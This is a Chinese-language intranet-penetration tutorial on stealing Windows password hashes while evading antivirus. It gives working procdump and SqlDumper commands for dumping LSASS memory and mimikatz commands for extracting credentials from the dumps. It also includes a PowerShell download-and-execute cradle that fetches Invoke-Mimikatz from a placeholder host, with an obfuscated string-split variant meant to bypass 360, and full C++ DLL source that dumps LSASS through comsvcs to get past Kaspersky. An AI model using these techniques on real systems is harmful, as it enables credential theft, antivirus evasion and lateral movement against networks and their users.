内网渗透-免杀抓取windows hash
字数 1353 2025-08-18 11:39:30

Windows Hash 免杀抓取技术详解

前言

在内网渗透中,获取主机管理员权限后,通常需要抓取用户的明文密码或hash以进行Pass-the-Hash (PTH)攻击。由于防护软件的存在,常规方法往往失效,因此需要掌握多种绕过防护的技术。

方法一:使用Procdump.exe

技术原理

Procdump是微软官方发布的工具,可用于dump进程内存,能绕过大多数防护软件。

操作步骤

  1. 使用Procdump dump lsass进程内存:
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
  2. 将lsass.dmp下载到本地
  3. 使用mimikatz读取密码hash:
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

优缺点

  • 优点:微软官方工具,绕过大多数防护
  • 缺点:无法绕过卡巴斯基

方法二:使用SqlDumper.exe

技术原理

SqlDumper是微软SQL Server组件,存在于SQL Server安装目录中。

操作步骤

  1. 定位SqlDumper.exe(通常在C:\Program Files\Microsoft SQL Server\number\Shared
  2. 查看lsass.exe的PID:
    tasklist /svc | findstr lsass.exe
    
  3. 使用SqlDumper导出内存:
    Sqldumper.exe ProcessID 0 0x01100
    
  4. 将生成的SQLDmpr0001.mdmp下载到本地
  5. 使用mimikatz读取:
    mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
    

优缺点

  • 优点:可过360
  • 缺点:无法过卡巴斯基

方法三:PowerShell免杀

技术原理

通过PowerShell加载Invoke-Mimikatz.ps1脚本获取密码hash。

基本方法

powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

绕过360的分割方法

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht'; $b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"

优缺点

  • 优点:灵活多变
  • 缺点:无法绕过卡巴斯基

方法四:绕过卡巴斯基抓取lsass密码

技术原理

使用RPC控制lsass加载SSP的代码,配合自定义dll dump内存。

准备工作

  1. 下载XPN提供的代码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
  2. 修改代码:
    • 添加#pragma comment(lib, "Rpcrt4.lib")
    • 将.c文件后缀改成.cpp
    • 编译时选择x64

DLL源码关键部分

#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib, "Dbghelp.lib")

using namespace std;

int FindPID() {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot Error!" << endl;
        return false;
    }
    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) {
            return pe32.th32ProcessID;
        }
        bResult = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    return -1;
}

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);

int dump() {
    HRESULT hr;
    _MiniDumpW MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG t;
    
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
    if (MiniDumpW == NULL) {
        return 0;
    }
    
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    wchar_t ws[100];
    swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
    MiniDumpW(0, 0, ws);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            dump();
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

操作步骤

  1. 将编译好的exe和dll放在同一目录下

  2. 使用管理员权限运行exe加载dll

  3. 注意事项:

    • 调用dll文件要使用完整绝对路径
    • 文件要放在英文路径下
    • Win7下只能执行一次,第二次执行可能导致重启
  4. 使用mimikatz读取生成的1.bin:

    mimikatz # sekurlsa::minidump 1.bin
    mimikatz # sekurlsa::loginpasswords full
    

优缺点

  • 优点:可绕过卡巴斯基
  • 缺点:实现复杂,Win7下有使用限制

Hash破解工具

对于无法读出明文的系统,可尝试在线破解hash:

  • https://www.objectif-securite.ch/en/ophcrack
  • http://cracker.offensive-security.com/index.php

参考链接

  1. https://www.jianshu.com/p/7ccf6e15fbe0
  2. https://blog.xpnsec.com/exploring-mimikatz-part-2/
  3. https://blog.csdn.net/xiangshen1990/article/details/104872566
  4. https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ
Windows Hash 免杀抓取技术详解 前言 在内网渗透中,获取主机管理员权限后,通常需要抓取用户的明文密码或hash以进行Pass-the-Hash (PTH)攻击。由于防护软件的存在,常规方法往往失效,因此需要掌握多种绕过防护的技术。 方法一:使用Procdump.exe 技术原理 Procdump是微软官方发布的工具,可用于dump进程内存,能绕过大多数防护软件。 操作步骤 使用Procdump dump lsass进程内存: 将lsass.dmp下载到本地 使用mimikatz读取密码hash: 优缺点 优点:微软官方工具,绕过大多数防护 缺点:无法绕过卡巴斯基 方法二:使用SqlDumper.exe 技术原理 SqlDumper是微软SQL Server组件,存在于SQL Server安装目录中。 操作步骤 定位SqlDumper.exe(通常在 C:\Program Files\Microsoft SQL Server\number\Shared ) 查看lsass.exe的PID: 使用SqlDumper导出内存: 将生成的SQLDmpr0001.mdmp下载到本地 使用mimikatz读取: 优缺点 优点:可过360 缺点:无法过卡巴斯基 方法三:PowerShell免杀 技术原理 通过PowerShell加载Invoke-Mimikatz.ps1脚本获取密码hash。 基本方法 绕过360的分割方法 优缺点 优点:灵活多变 缺点:无法绕过卡巴斯基 方法四:绕过卡巴斯基抓取lsass密码 技术原理 使用RPC控制lsass加载SSP的代码,配合自定义dll dump内存。 准备工作 下载XPN提供的代码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e 修改代码: 添加 #pragma comment(lib, "Rpcrt4.lib") 将.c文件后缀改成.cpp 编译时选择x64 DLL源码关键部分 操作步骤 将编译好的exe和dll放在同一目录下 使用管理员权限运行exe加载dll 注意事项: 调用dll文件要使用完整绝对路径 文件要放在英文路径下 Win7下只能执行一次,第二次执行可能导致重启 使用mimikatz读取生成的1.bin: 优缺点 优点:可绕过卡巴斯基 缺点:实现复杂,Win7下有使用限制 Hash破解工具 对于无法读出明文的系统,可尝试在线破解hash: https://www.objectif-securite.ch/en/ophcrack http://cracker.offensive-security.com/index.php 参考链接 https://www.jianshu.com/p/7ccf6e15fbe0 https://blog.xpnsec.com/exploring-mimikatz-part-2/ https://blog.csdn.net/xiangshen1990/article/details/104872566 https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ